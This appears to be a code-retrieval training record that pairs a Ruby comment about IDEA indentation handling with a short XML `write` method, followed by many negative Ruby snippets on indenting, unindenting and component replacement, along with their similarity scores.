[ "0.7658976", "0.6903688", "0.6858225", "0.6796618", "0.6647672", "0.65743464", "0.65726393", "0.6545599", "0.64779025", "0.64369714", "0.6359561", "0.63200927", "0.6306826", "0.62765986", "0.62659097", "0.62457967", "0.6192756", "0.6167988", "0.61634", "0.61617005", "0.615783", "0.6155991", "0.6109739", "0.60966283", "0.6096513", "0.6054303", "0.6046202", "0.60417867", "0.6034058", "0.6027781", "0.601906", "0.6013104", "0.6010683", "0.59876466", "0.5977755", "0.597533", "0.59528375", "0.5951916", "0.5936563", "0.59302235", "0.5924388", "0.59192866", "0.59158987", "0.59089524", "0.5907354", "0.59002674", "0.58972055", "0.58925", "0.5867895", "0.58518076", "0.5844915", "0.5799346", "0.57962936", "0.5788639", "0.5786663", "0.57858187", "0.577701", "0.5762816", "0.57462496", "0.57433015", "0.5735503", "0.57300776", "0.5722467", "0.57195413", "0.5718711", "0.57186174", "0.56900966", "0.5688383", "0.5687515", "0.5684648", "0.56817186", "0.56808734", "0.56689626", "0.56656814", "0.56641793", "0.56608677", "0.56590587", "0.56575143", "0.5647363", "0.56465155", "0.5645552", "0.56452566", "0.5639659", "0.56390494", "0.5627888", "0.5621145", "0.56172824", "0.56140757", "0.5613765", "0.56136614", "0.5613211", "0.56130403", "0.56093687", "0.56066483", "0.5599329", "0.5598607", "0.5596231", "0.5588742", "0.55822414", "0.5581925" ]
0.62635434
15
IDEA can not handle text content with indents so need to removing indenting Can not pass true as third argument as the ruby library seems broken
def write(f) document.write(f, -1, false, true) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def indent; end", "def indent; end", "def indent; end", "def indent; end", "def indent; end", "def change_indent plus\n # nothing here\n end", "def indentation; end", "def indentation; end", "def indent=(_arg0); end", "def indent()\n #This is a stub, used for indexing\n end", "def unexpected_indent_offset; end", "def unindent\n gsub(/^#{self[/\\A\\s*/]}/, \"\")\n end", "def unindent\n self.gsub(/^#{self[/\\A\\s*/]}/, \"\")\n end", "def indent_atom; \" \"; end", "def with_indent ()\n thread[:indent] += 1\n yield\n ensure\n thread[:indent] -= 1\n end", "def indent_for(line); end", "def outdent(text)\n lines = text.split(\"\\n\")\n indented_with = /^ +/.match(lines.first)[0]\n lines.map { |line| line.gsub(/^#{indented_with}/, '') }.join(\"\\n\") + \"\\n\"\n end", "def unindent!\n gsub!(/^[ \\t]{#{minimum_leading_whitespace}}/, '')\n end", "def indentify\n 'description'\n end", "def indentify\n 'description'\n end", "def unindent(text)\n text.strip.gsub(/^\\s+/, \"\")\n end", "def unindent(text)\n lines = text.lines\n whitespace = lines.first.scan(/^\\s*/).first\n lines.map do |l|\n l.gsub(/^#{whitespace}/, \"\")\n end.join\nend", "def unindent\n @__indent__ ||= 0\n @__indent__ -= indentation\n end", "def optimize_indentation(value, amount = 0) # :doc:\n return \"#{value}\\n\" unless value.is_a?(String)\n\n if value.lines.size > 1\n value.strip_heredoc.indent(amount)\n else\n \"#{value.strip.indent(amount)}\\n\"\n end\n end", "def indent(text)\n text.gsub!(INDENT_REGEX, \"\\\\0#{@indent}\")\n text\n end", "def deindent(str, leading_spaces: T.unsafe(nil)); end", "def indent_in\n @indent.slice!(-1, 1)\n end", "def outdent( str )\n\t\t\tstr.gsub( /^(\\t|[ ]{1,#{TabWidth}})/, '')\n\t\tend", "def indent_text( text, mod, first_line = true )\n\t\t\treturn \"\" if text.to_s.empty?\n spacing = indent( mod )\n text = text.gsub( /\\A([^\\n])/, \"#{ spacing }\\\\1\" ) if first_line\n\t\t\treturn text.gsub( /\\n^([^\\n])/, \"\\n#{spacing}\\\\1\" )\n\t\tend", "def unindent\n (other = dup) and other.unindent! and other\n end", "def indent1\n ' ' * 2\n end", "def heredoc_indent_type(node); end", "def wrapped_by_paragraph; end", "def _Indent\n _tmp = scan(/\\G(?-mix:\\t| )/)\n set_failed_rule :_Indent unless _tmp\n return _tmp\n end", "def indent()\n file = Tempfile.new(\"out\")\n infile = Tempfile.new(\"in\")\n file.write(self.to_s)\n file.flush\n bufc = \"FOO\"\n\n tmppos = @pos\n\n message(\"Auto format #{@fname}\")\n\n if [\"chdr\", \"c\", \"cpp\"].include?(get_file_type())\n\n #C/C++/Java/JavaScript/Objective-C/Protobuf code\n system(\"clang-format -style='{BasedOnStyle: LLVM, ColumnLimit: 100, SortIncludes: false}' #{file.path} > #{infile.path}\")\n bufc = IO.read(infile.path)\n elsif get_file_type() == \"Javascript\"\n cmd = \"clang-format #{file.path} > #{infile.path}'\"\n debug cmd\n system(cmd)\n bufc = IO.read(infile.path)\n elsif get_file_type() == \"ruby\"\n cmd = \"rufo #{file.path}\"\n debug cmd\n system(cmd)\n bufc = IO.read(file.path)\n else\n return\n end\n self.update_content(bufc)\n center_on_current_line #TODO: needed?\n file.close; file.unlink\n infile.close; infile.unlink\n end", "def indent( text, spaces=4 )\n\t\tprefix = ' ' * spaces\n\t\treturn text.gsub( /(?<=\\A|\\n)/m, prefix )\n\tend", "def indent\n @__indent__ ||= 0\n @__indent__ += indentation\n end", "def correct_indentation(node); end", "def indentation_pattern()\n return /^(?: \\t)+/\n end", "def unindent(dirty_text, left_padding = 0)\n text = dirty_text.sub(/\\A[ \\t]+\\z/, '') # Empty blank lines.\n\n # Find the longest common whitespace to all indented lines. Ignore lines\n # containing just -- or ++ as these seem to be used by comment authors\n # as delimeters.\n scanned_text = text.scan(/^[ \\t]*(?!--\\n|\\+\\+\\n)(?=[^ \\t\\n])/)\n margin = scanned_text.inject do |current_margin, next_indent|\n if next_indent.start_with?(current_margin)\n current_margin\n elsif current_margin.start_with?(next_indent)\n next_indent\n else\n ''\n end\n end\n\n text.gsub(/^#{margin}/, ' ' * left_padding)\n end", "def initialize\r\n @type = :unknown\r\n @text = \"\"\r\n @pre_indent = 0\r\n @post_indent = 0\r\n @first_post_indent = 0\r\n end", "def indent_each_line!(indent_sequence=\"\\t\")\n\t\treturn self.collect!{ |line|\t\"#{indent_sequence}#{line}\" }\n\tend", "def change_indent plus\n super(plus)\n puts plus ? \"<li><ul class=\\\"pre\\\">\" : \"<li class =\\\"none\\\">LAST</li> </ul></li>\"\n end", "def indentation\n \" \" * @indent_size * @indent_level\n end", "def test_unindent_4()\n string = <<-heredoc\n one\n two\n three\n heredoc\n expected = \"one\\ntwo\\n three\\n\"\n result = string.unindent\n assert_equal( expected, result )\n end", "def indent str\n if @format == :markdown\n ' ' + CGI.escapeHTML(str)\n else\n if str.end_with?(\"</li>\")\n str\n else\n \"<br />\" + str\n end\n end\nend", "def reindent(lines, node, corrector); end", "def formatIndents(theLines)\n\n\ttheLines.each do |theLine|\n\t\n\t\tif (theLine[:text] =~ /^(\\s+)(.*)/)\n\t\t\ttextPrefix = $1;\n\t\t\ttextSuffix = $2;\n\t\t\t\n\t\t\tnumTabs = textPrefix.size / CONFIG_TAB_WIDTH;\n\t\t\tnumSpaces = textPrefix.size % CONFIG_TAB_WIDTH;\n\n\t\t\ttheLine[:text] = (\"\\t\" * numTabs) + (\" \" * numSpaces) + textSuffix;\n\t\tend\n\n\tend\n\t\n\treturn theLines;\n\nend", "def indent\n\t\tif @marked\n\t\t\tmark_row,row = ordered_mark_rows\n\t\t\tblock_indent(mark_row,row)\n\t\telse\n\t\t\taddchar(?\\t)\n\t\tend\n\tend", "def unindent_markdown(markdown)\n return nil if markdown.nil?\n\n natural_indent = markdown.lines.collect { |l| l.index(/[^ ]/) }.select { |l| !l.nil? && l.positive? }.min || 0\n markdown.lines.map { |l| l[natural_indent..-1] || \"\\n\" }.join.lstrip\nend", "def unindent(text)\n lines = text.split(\"\\n\")\n lines.shift while lines.first =~ /^\\s*$/ && !lines.empty?\n lines.pop while lines.last =~ /^\\s*$/ && !lines.empty?\n min_indent = lines.reject { |ln| ln =~ /^\\s*$/ }\n .map { |ln| ln.scan(/^\\s*/) }.flatten.map(&:length).min\n lines.map { |ln| ln.sub(/^\\s{#{min_indent}}/, '') }.join(\"\\n\")\nend", "def optimize_indentation(value, amount = 0)\n return \"#{value}\\n\" unless value.is_a?(String)\n \"#{value.strip_heredoc.indent(amount).chomp}\\n\"\n end", "def optimize_indentation(value, amount = 0)\n return \"#{value}\\n\" unless value.is_a?(String)\n \"#{value.strip_heredoc.indent(amount).chomp}\\n\"\n end", "def my_name_is\n # and my code is here\n # two spaces for tabs in Ruby\nend", "def format_source(source)\n source.chomp!\n indent = source.split(/\\r?\\n/).last[/^([ \\t]*)/, 1].length\n source.gsub(/^[ \\t]{#{indent}}/, '')\n end", "def indented\n \"#{INDENTATION * indents}#{original}\"\n end", "def test_operation_application_with_unindent_sign\n attributes = {\n :node => nodes(:var),\n :content => <<-CONTENT.gsub(/^\\s{8}/, \"\")\n * test\n * foo\n -* bar\n CONTENT\n }\n user = users(:oswald)\n note = Note.new(attributes).assign_to(user)\n note.save\n expected = <<-EXPECTED.gsub(/^\\s{6}/, \"\")\n * test\n * foo\n * bar\n EXPECTED\n\n assert_empty(note.errors)\n assert_equal(expected, note.content)\n end", "def with_indentation(&block) # :doc:\n @indentation += 1\n instance_eval(&block)\n ensure\n @indentation -= 1\n end", "def unindent(text, left_padding = 0)\n # Empty blank lines\n text = text.sub(/^[ \\t]+$/, '')\n\n # Find the longest common whitespace to all indented lines\n margin = text.scan(/^[ \\t]*(?=[^ \\t\\n])/).inject do |current_margin, next_indent|\n if next_indent.start_with?(current_margin)\n current_margin\n elsif current_margin.start_with?(next_indent)\n next_indent\n else\n \"\"\n end\n end\n\n text.gsub(/^#{margin}/, ' ' * left_padding)\n end", "def haml_indent\n ' ' * haml_buffer.tabulation\n end", "def unindent(txt, n = 2)\n txt.gsub /^[ ]{#{n}}/, ''\n end", "def set_default_indent(line)\n $default_indent = count_indent(line)\nend", "def with_indentation(spaces=0)\n alter do\n @with_indentation = !!spaces\n @indentation_num = spaces\n end\n end", "def build_verbatim margin\n verbatim = super\n\n verbatim.format = :ruby if @section == 'Examples'\n\n verbatim\n end", "def test_heredoc_method\n desired_output = <<-EOS.unindent\n This should contain no indents.\n\n It should be 3 lines long.\n EOS\n test_output = \"This should contain no indents.\\n\\nIt should be 3 lines long.\\n\"\n assert_equal(desired_output, test_output, \"Output must exactly match.\")\n end", "def indent_out\n @indent << \" \"\n end", "def format_source(source)\n source = source.chomp\n last = source.split(/\\r?\\n/).last\n indent = last ? last[/^([ \\t]*)/, 1].length : 0\n source.gsub(/^[ \\t]{#{indent}}/, '')\n end", "def indent!(amount, indent_string = nil, indent_empty_lines = false)\n indent_string = indent_string || self[/^[ \\t]/] || ' '\n re = indent_empty_lines ? /^/ : /^(?!$)/\n gsub!(re, indent_string * amount)\n end", "def with_indentation(spaces = 0)\n alter do\n @with_indentation = !!spaces\n @indentation_num = spaces\n end\n end", "def test_only_spaces_indent_level_should_still_be_6\n@buffer = Buffer.new ' '\n assert_eq @buffer.indent_level, 6\nend", "def highlight(code, options = T.unsafe(nil)); end", "def indent!\n\t\t\tself << indent\n\t\tend", "def unindent(s)\n s.gsub(/^#{s.scan(/^[ \\t]+(?=\\S)/).min}/, \"\")\n end", "def indentify\n 'name'\n end", "def indentify\n 'name'\n end", "def indentify\n 'name'\n end", "def indentify\n 'name'\n end", "def indentify\n 'name'\n end", "def indent!(amount, indent_string=nil, indent_empty_lines=false)\n indent_string = indent_string || self[/^[ \\t]/] || ' '\n re = indent_empty_lines ? /^/ : /^(?!$)/\n gsub!(re, indent_string * amount)\n end", "def unindent(text)\n return \"\" if text.nil?\n\n len = text.split(\"\\n\").reject { |l| l.strip.empty? }.map { |x| x.index(/[^\\s]/) }.compact.min\n text.gsub(/^[[:blank:]]{#{len}}/, \"\").strip\n end", "def flush_left text\n indent = 9999\n\n text.each_line do |line|\n line_indent = line =~ /\\S/ || 9999\n indent = line_indent if indent > line_indent\n end\n\n empty = ''\n empty = RDoc::Encoding.change_encoding empty, text.encoding\n\n text.gsub(/^ {0,#{indent}}/, empty)\n end", "def indent=(indent)\n #This is a stub, used for indexing\n end", "def cleanup(text)\n text && text.gsub(\"\\t\", ' ').dedent\n end", "def unindent line\n if @options[:unindent] and\n @program.new_line? and\n margin = @margins.last and\n crown = @crowns.first\n then\n line.gsub(/^#{margin}/, crown)\n else\n line\n end\n end", "def indent ( c )\n return @parser.parse( c )\n end", "def text hard_break = nil\n @parts.map do |part|\n if RDoc::Markup::HardBreak === part then\n '%1$s%3$*2$s' % [hard_break, @indent, ' '] if hard_break\n else\n part\n end\n end.join\n end", "def strip_heredoc\n indent = scan(/^[ \\t]*(?=\\S)/).min.try(:size) || 0\n gsub(/^[ \\t]{#{indent}}/, '')\n end", "def indent(line, index)\n unless line.match(/(^$|^\\S|^( )+\\S)/)\n add_spacing_issue\n @final_spacing_string += \"indentation spacing issue at line #{index} \\n\"\n return \"indentation spacing issue at line #{index} \\n\"\n end\n nil\n end", "def reset_indentation_length()\n puts \"reset_indentation_length\"\n end", "def indent(string, amt)\n string.gsub /\\n *([^\\n]+)/m, \"\\n#{' ' * amt}\\\\1\"\n end", "def normalize_indentation text\n lines = text.split(\"\\n\")\n return text if lines.empty?\n\n indent = if lines[0] =~ /^(\\s+)(.+?)$/\n $1.length\n else\n 0\n end\n lines.map{|l| l[indent..-1]}.join \"\\n\"\n end", "def indent(code, level = 2)\n lines = case code\n when String then code.split(\"\\n\")\n when BlocklyInterpreter::Block then start_block_to_dsl(code).split(\"\\n\")\n when Array then deep_flatten(code).compact.flat_map { |code| code.split(\"\\n\") }\n else code\n end\n\n lines.map { |line| (\" \" * level) + line }.join(\"\\n\")\n end", "def indented\n buffer = buffer()\n buffer.indent\n nl\n yield\n nl\n buffer.unindent\n end", "def indent(amount, indent_string=nil, indent_empty_lines=false)\n dup.tap {|_| _.indent!(amount, indent_string, indent_empty_lines)}\n end", "def header_editor_enabled=(_arg0); end", "def strip_heredoc(string)\n indent = string.scan(/^[ \\t]*(?=\\S)/).min.try(:size) || 0\n string.gsub(/^[ \\t]{#{indent}}/, '')\n end", "def puts_indent(level, text)\n print \" \"*level, text, \"\\n\"\nend", "def html_markup_asciidoc(text); end", "def fix_typewriter(text)\n code_tags = 0\n text.gsub(%r{<(/)?(pre|code|tt)|(\\s|^|>)\\+(?! )([^\\n\\+]{1,900})(?! )\\+}) do |str|\n closed = $1\n tag = $2\n first_text = $3\n type_text = $4\n\n if tag\n code_tags += (closed ? -1 : 1)\n next str\n end\n next str unless code_tags == 0\n first_text + '<tt>' + type_text + '</tt>'\n end\n end", "def spaces; end", "def spaces; end" ]
[ "0.7163049", "0.7163049", "0.7163049", "0.7163049", "0.7163049", "0.71525156", "0.71307516", "0.71307516", "0.690279", "0.68191886", "0.6627504", "0.66103095", "0.6589161", "0.65154094", "0.6492186", "0.6461226", "0.64276856", "0.6424821", "0.63996434", "0.63996434", "0.6388509", "0.638326", "0.6321365", "0.6301082", "0.6264567", "0.61829317", "0.60849845", "0.6073186", "0.60643125", "0.60451275", "0.6041812", "0.60258996", "0.6019094", "0.6000694", "0.60003436", "0.5986904", "0.59713507", "0.59680754", "0.5953979", "0.59516215", "0.59506935", "0.59455574", "0.59390825", "0.59323317", "0.5926874", "0.5903774", "0.5891826", "0.5860891", "0.5849576", "0.5845025", "0.58343726", "0.581788", "0.581788", "0.57658195", "0.57623816", "0.5747352", "0.573757", "0.57344466", "0.5733868", "0.57170933", "0.57149124", "0.5703026", "0.57021683", "0.5680741", "0.5670718", "0.5670252", "0.56617224", "0.56490505", "0.5647555", "0.5642911", "0.56405306", "0.5633802", "0.56297183", "0.56278944", "0.56278944", "0.56278944", "0.56278944", "0.56278944", "0.5616016", "0.56096846", "0.5592076", "0.5583735", "0.5578129", "0.5575547", "0.55749", "0.55063915", "0.5504407", "0.5500319", "0.5496705", "0.54842675", "0.5483394", "0.5468827", "0.54608124", "0.5447768", "0.5426651", "0.54239404", "0.5412604", "0.5411179", "0.540955", "0.5402329", "0.5402329" ]
0.0
-1
replace overridden component (if any) with specified component
def inject_component(doc, component) doc.root.delete_element("//component[@name='#{component.attributes['name']}']") doc.root.add_element component end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def replace!(oth)\n if self.class != oth.class\n raise ArgumentError, \"expected #{self.class} object\"\n end\n\n component.each do |c|\n self.__send__(\"#{c}=\", oth.__send__(c))\n end\n end", "def replace(*)\n lazy_load # lazy load so that targets are always orphaned\n super\n end", "def replace(*)\n lazy_load # lazy load so that targets are always orphaned\n super\n end", "def component(klass)\n if @replacements && @replacements.has_key?(klass)\n @replacements[klass]\n\n else\n klass\n end\n end", "def update!(**args)\n @component = args[:component] if args.key?(:component)\n end", "def update!(**args)\n @component = args[:component] if args.key?(:component)\n end", "def widget(target, assigns = {}, options = {}, &block)\n assigns.merge!(:component => @component) {|_,old,_| old } if target.is_a? Class\n super target, assigns, options, &block\n end", "def set_component(component)\n self.namespace(component.name)\n @component = component\n end", "def replace_workflow_components(doc,processor_name,replacement_id)\n replacement_component = WorkflowComponent.find(replacement_id)\n\n processors = doc.root.elements[Top_dataflow].elements[\"processors\"]\n path_to_procesor_name = 'name'\n processor_node = nil\n processors.children.each do |x|\n if x.class == REXML::Element\n if x.elements[path_to_procesor_name].text == processor_name\n processor_node = x\n end\n end\n end\n\n cb_path = \"activities/activity/configBean\"\n cb_path += \"/net.sf.taverna.t2.component.ComponentActivityConfigurationBean\"\n config_bean = processor_node.elements[cb_path]\n #put component info in the child node\n config_bean.elements['registryBase'].text = replacement_component.registry\n config_bean.elements['familyName'].text = replacement_component.family\n config_bean.elements['componentName'].text = replacement_component.name\n config_bean.elements['componentVersion'].text = replacement_component.version.to_s\n end", "def replace_by(object)\n raise NotImplementedError, \"#{self.class} did not reimplement #replace_by\"\n end", "def duplicate_component()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.LayoutEditor_duplicate_component(@handle.ptr)\n end", "def update!(**args)\n @components = args[:components] if args.key?(:components)\n end", "def update!(**args)\n @components = args[:components] if args.key?(:components)\n end", "def replace_container(name, content)\n render :update do |page|\n page.replace name, content\n end\n end", "def replace_with(child); end", "def attach_component(entity, component)\n\t\tinterface = component.class.interface\n\t\t\n\t\texisting_component = entity[interface]\n\t\tif existing_component\n\t\t\tentity.delete_component(interface)\n\t\tend\n\t\t\n\t\tentity.add_component(component)\n\tend", "def rep(original, new)\n # making sure we don't try substituting nil objects or for nil objects\n\toriginal=(original==nil)? \"\":original\n new=(new==nil)? \"\":new\n \n\ttemp=self.inner_html\n self.inner_html=temp.gsub(original, new)\n self\n end", "def method_missing(method, *args, &block)\n if component.respond_to?(method)\n component.__send__ method, *args, &block\n else\n super\n end\n end", "def apply_component_for(choice, component)\n # I need to override Thor#apply because for unknow reason :verobse => false break tasks.\n path = File.expand_path(File.dirname(__FILE__) + \"/components/#{component}/#{choice}.rb\")\n say_status :apply, \"#{component}/#{choice}\"\n shell.padding += 1\n instance_eval(open(path).read)\n shell.padding -= 1\n end", "def replace(replacement)\n @parent.replace_node(self, replacement)\n end", "def update_component_xml(component, modifier_el, opts)\n end", "def replace_parent( *args )\n \n new_parent = nil\n existing_parent = nil\n \n case args.size\n when 1\n new_parent = args[ 0 ]\n when 2\n # existing_parent = args[ 0 ]\n new_parent = args[ 1 ]\n end\n \n unregister_parent\n register_parent( new_parent )\n\n return self\n \n end", "def component=(component)\n raise \"Component cannot be null\" unless component\n raise \"Component already associated with a form. Do not pass form in constructor.\" unless component.form.nil?\n $log.debug \" calling configure component \"\n @parent_component.configure_component component\n @component = component\n end", "def replace_child(to_replace, replacement); end", "def attach_component! c\n super\n # $stderr.puts \"adding component search path #{abs_path.inspect}\"\n _loader.add_component_search_path! abs_path, :priority => :before\n end", "def component_class=(component)\n return if @component == component || component.nil?\n\n #Save values of properties\n save_properties(@instance)\n @accessors = []\n\n #Get current instance\n @instance = @instances[component]\n\n properties = component.properties\n\n #Remove old widgets from the table\n reset_table\n\n @table.resize(1+properties.length, 2)\n\n #Add widgets for each property\n i = 1\n properties.each do |p|\n @table.set_row_spacing(i-1, 20)\n i = add_property(p, i)\n end\n\n @component = component\n\n self.title_text = component.label\n\n self.show_all\n end", "def replace_element_by_own_content(element)\n if element.has_children_elements?\n element.get_children_elements.each do |child|\n element.insert_before(child)\n end\n element.remove_node\n elsif element.has_children?\n element.replace_node(element.get_first_node_child)\n end\n end", "def replace\n result = super\n delete_backup!(@old) if result && delete_backup?\n result\n end", "def override_graphic gr\n @graphic = gr\n end", "def swap old, new_parent\n plugged.hide\n\n old.remove self\n new_parent.add self\n \n realize\n \n take_window plugged \n plugged.show \n \n @parent = new_parent\n end", "def add_component(component)\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n if component.handle.ptr == nil\n raise \"component is disposed\"\n end\n Native.LayoutEditor_add_component(@handle.ptr, component.handle.ptr)\n component.handle.ptr = nil\n end", "def disabled_components=(components)\n disabled_components.replace components\n end", "def disabled_components=(components)\n disabled_components.replace components\n end", "def reconfigure(overrides={})\n config.merge!(overrides)\n self\n end", "def replace(node)\n `#@native.parentNode.replaceChild(#@native, #{Native.try_convert(node)})`\n\n node\n end", "def override() # Note that despite the module.override, this still overrides\r\n puts \"CHILD override()\"\r\n end", "def reload_component(gear, component)\n args = build_base_gear_args(gear)\n args = build_base_component_args(component, args)\n cart = component.cartridge_name\n\n run_cartridge_command(cart, gear, \"reload\", args)\n end", "def replace_node search_mixed, replace_mixed\n search = CodeBuilder.to_sexp(search_mixed)\n replace = CodeBuilder.to_sexp(replace_mixed)\n found = deep_find_first(search)\n if ! found\n fail \"couldn't find node: #{search.to_ruby}\"\n end\n found.parent.replace_child!(found, replace)\n nil\n end", "def chosung= c\n raise ArgumentError.new('Invalid chosung component') if\n c && Gimchi.chosung?(c) == false\n @chosung = c && c.dup.extend(Component).tap { |e| e.kor = Gimchi }\n end", "def example_override(id)\n # code goes here\n end", "def component_update\r\n @show_wrapper = false # don't show the outer wrapper elements if we are just updating an existing scaffold \r\n if request.xhr?\r\n # If this is an AJAX request then we just want to delegate to the component to rerender itself\r\n component\r\n else\r\n # If this is from a client without javascript we want to update the session parameters and then delegate\r\n # back to whatever page is displaying the scaffold, which will then rerender all scaffolds with these update parameters\r\n return_to_main\r\n end\r\n end", "def component_update\r\n @show_wrapper = false # don't show the outer wrapper elements if we are just updating an existing scaffold \r\n if request.xhr?\r\n # If this is an AJAX request then we just want to delegate to the component to rerender itself\r\n component\r\n else\r\n # If this is from a client without javascript we want to update the session parameters and then delegate\r\n # back to whatever page is displaying the scaffold, which will then rerender all scaffolds with these update parameters\r\n return_to_main\r\n end\r\n end", "def component_update\r\n @show_wrapper = false # don't show the outer wrapper elements if we are just updating an existing scaffold \r\n if request.xhr?\r\n # If this is an AJAX request then we just want to delegate to the component to rerender itself\r\n component\r\n else\r\n # If this is from a client without javascript we want to update the session parameters and then delegate\r\n # back to whatever page is displaying the scaffold, which will then rerender all scaffolds with these update parameters\r\n return_to_main\r\n end\r\n end", "def component_update\r\n @show_wrapper = false # don't show the outer wrapper elements if we are just updating an existing scaffold \r\n if request.xhr?\r\n # If this is an AJAX request then we just want to delegate to the component to rerender itself\r\n component\r\n else\r\n # If this is from a client without javascript we want to update the session parameters and then delegate\r\n # back to whatever page is displaying the scaffold, which will then rerender all scaffolds with these update parameters\r\n return_to_main\r\n end\r\n\t\r\n end", "def add_component(component)\n add_to(component, @components)\n end", "def insert_component_before(name, component)\n # iterate over all components, find the component with the given name\n # once found, insert the given component at that location and return\n components.each_with_index do |c, i|\n if c.name == name\n components.insert(i, component)\n return\n end\n end\n\n components << component\n end", "def add_override(override)\n # If possible, merge the override in immediately.\n resource = @catalog.resource(override.ref)\n if resource\n resource.merge(override)\n else\n # Otherwise, store the override for later; these\n # get evaluated in Resource#finish.\n @resource_overrides[override.ref] << override\n end\n end", "def model_handle(mn = nil)\n super(mn || :component)\n end", "def model_handle(mn = nil)\n super(mn || :component)\n end", "def component_update \n if request.xhr?\n # If this is an AJAX request then we just want to delegate to the component to rerender itself\n component\n else\n # If this is from a client without javascript we want to update the session parameters and then delegate\n # back to whatever page is displaying the scaffold, which will then rerender all scaffolds with these update parameters\n update_params :default_scaffold_id => \"webrt\", :default_sort => nil, :default_sort_direction => \"desc\"\n return_to_main\n end\n end", "def component_update\n @show_wrapper = false # don't show the outer wrapper elements if we are just updating an existing scaffold \n if request.xhr?\n # If this is an AJAX request then we just want to delegate to the component to rerender itself\n component\n else\n # If this is from a client without javascript we want to update the session parameters and then delegate\n # back to whatever page is displaying the scaffold, which will then rerender all scaffolds with these update parameters\n return_to_main\n end\n end", "def component_update\n @show_wrapper = false # don't show the outer wrapper elements if we are just updating an existing scaffold \n if request.xhr?\n # If this is an AJAX request then we just want to delegate to the component to rerender itself\n component\n else\n # If this is from a client without javascript we want to update the session parameters and then delegate\n # back to whatever page is displaying the scaffold, which will then rerender all scaffolds with these update parameters\n return_to_main\n end\n end", "def component_update\n @show_wrapper = false # don't show the outer wrapper elements if we are just updating an existing scaffold \n if request.xhr?\n # If this is an AJAX request then we just want to delegate to the component to rerender itself\n component\n else\n # If this is from a client without javascript we want to update the session parameters and then delegate\n # back to whatever page is displaying the scaffold, which will then rerender all scaffolds with these update parameters\n return_to_main\n end\n end", "def replace_mixin(old_mixin, new_mixin)\n # TODO: handle replacing actions\n remove_mixin old_mixin\n add_mixin new_mixin\n end", "def replace(from, to)\n puts \"warning: #{self.class}: replace not implement\"\n end", "def replace(node_or_tags); end", "def replace(node_or_tags); end", "def replace(item, data = nil)\n `#@native.replaceState(#{data.to_n}, null, item)`\n end", "def into_generic()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Component.new(Native.DeltaComponent_into_generic(@handle.ptr))\n @handle.ptr = nil\n result\n end", "def set_replacement(parent, node, replacement, property)\n if node == @root\n @root = replacement\n else\n parent.send(property+'=',replacement)\n end\n end", "def replace_content(name, content)\n render :update do |page|\n page.replace_html name, content\n end\n end", "def before_render(component_name, props, prerender_options); \"\"; end", "def replace(name, content = nil, &block)\n content = capture(&block) if block_given?\n add_instruction_to_area name, :replace, [content]\n end", "def replace_child! child, nu\n idx = index_of_child child\n self[idx] = nu\n # debugger; 'make sure to_ruby works'\n nil\n end", "def component_update \n if request.xhr?\n # If this is an AJAX request then we just want to delegate to the component to rerender itself\n component\n else\n # If this is from a client without javascript we want to update the session parameters and then delegate\n # back to whatever page is displaying the scaffold, which will then rerender all scaffolds with these update parameters\n update_params :default_scaffold_id => \"recipe\", :default_sort => nil, :default_sort_direction => \"asc\"\n return_to_main\n end\n end", "def replace_asset( existing_asset, new_type, attributes={} )\r\n\t\told_el = existing_asset.el\r\n\t\tnew_el = old_el.replace( \"<#{new_type}/>\" ).first\r\n\t\tattributes['id'] = old_el['id']\r\n\t\tattributes.each{ |att,val| new_el[att.to_s] = val }\r\n\t\tasset_for_el( new_el ).tap do |new_asset|\r\n\t\t\tunsupported_attributes = \".//*[name()='Add' or name()='Set'][@ref='##{old_el['id']}']/@*[name()!='ref' and #{new_asset.properties.keys.map{|p| \"name()!='#{p}'\"}.join(' and ')}]\"\r\n\t\t\[email protected](unsupported_attributes).remove\r\n\t\t\trebuild_caches_from_document\r\n\t\tend\r\n\tend", "def append_component(name)\n @component = \"/#{name}\"\n self\n end", "def replace(node_or_tags)\n raise(\"Cannot replace a node with no parent\") unless parent\n\n # We cannot replace a text node directly, otherwise libxml will return\n # an internal error at parser.c:13031, I don't know exactly why\n # libxml is trying to find a parent node that is an element or document\n # so I can't tell if this is bug in libxml or not. issue #775.\n if text?\n replacee = Nokogiri::XML::Node.new \"dummy\", document\n add_previous_sibling_node replacee\n unlink\n return replacee.replace node_or_tags\n end\n\n node_or_tags = parent.coerce(node_or_tags)\n\n if node_or_tags.is_a?(XML::NodeSet)\n node_or_tags.each { |n| add_previous_sibling n }\n unlink\n else\n replace_node node_or_tags\n end\n node_or_tags\n end", "def merge_comps( original, override )\n override.each do |k,v|\n if original.has_key? k\n original[k] = v\n else\n original << [k,v]\n end\n end\n end", "def remove_component(component)\n\t\[email protected](component)\n\tend", "def test_merge_new_components_fails\n new_components = [{:reducer=>Struct::Reducer3}]\n expected = {:reducers=>[{:reducer=>Struct::Reducer1}, {:reducer=>Struct::Reducer2}], :loaders=>[{:loader=>Struct::Loader}]}\n assert_equal expected, profile.replace_components(reducers: new_components)\n end", "def attach_form c\n c.form = @form\n c.override_graphic @graphic\n c.parent_component = self\n end", "def safety_clones\n if thematic = @components[:thematic]\n @components[:thematic] = thematic.clone\n end\n end", "def replace(options={})\n content = render(options)\n Apotomo.js_generator.replace(options[:selector] || self.name, content)\n end", "def replace(enum)\n if enum.instance_of?(self.class)\n @val = enum.instance_variable_get(:@val)\n else\n clear\n merge(enum)\n end\n\n self\n end", "def js_replace_element(element, content)\n rjs_method :replace_element, :element => element, :content => content\n end", "def replace_with(replacement)\n replacement = Factory.build(klass, replacement) if replacement.is_a?(::Hash)\n self._target = replacement\n characterize_one(_target)\n bind_one\n update_attributes_hash(_target)\n _target.save if persistable?\n end", "def const_replace(name, object)\n original = Object.const_defined?(name) && Object.const_get(name)\n \n Object.send(:remove_const, name) if (original)\n Object.const_set(name, object)\n\n yield\n\n ensure\n Object.send(:remove_const, name)\n Object.const_set(name, original)\n end", "def edit\n respond_with(component)\n end", "def goto_component comp\n return if comp == @current_component\n leave_current_component\n @current_component = comp\n set_form_row\n end", "def render_component_in_layout(component)\n render inline: \"<%= render component %>\",\n locals: {component: component},\n layout: true\n end", "def copy(entity)\n entity.components.each do |component|\n add(component.as_inheritance)\n end\n end", "def overrides=(_arg0); end", "def superclass=(object); end", "def replace\n end", "def swap(node_or_tags)\n replace node_or_tags\n self\n end", "def special\n override\n end", "def 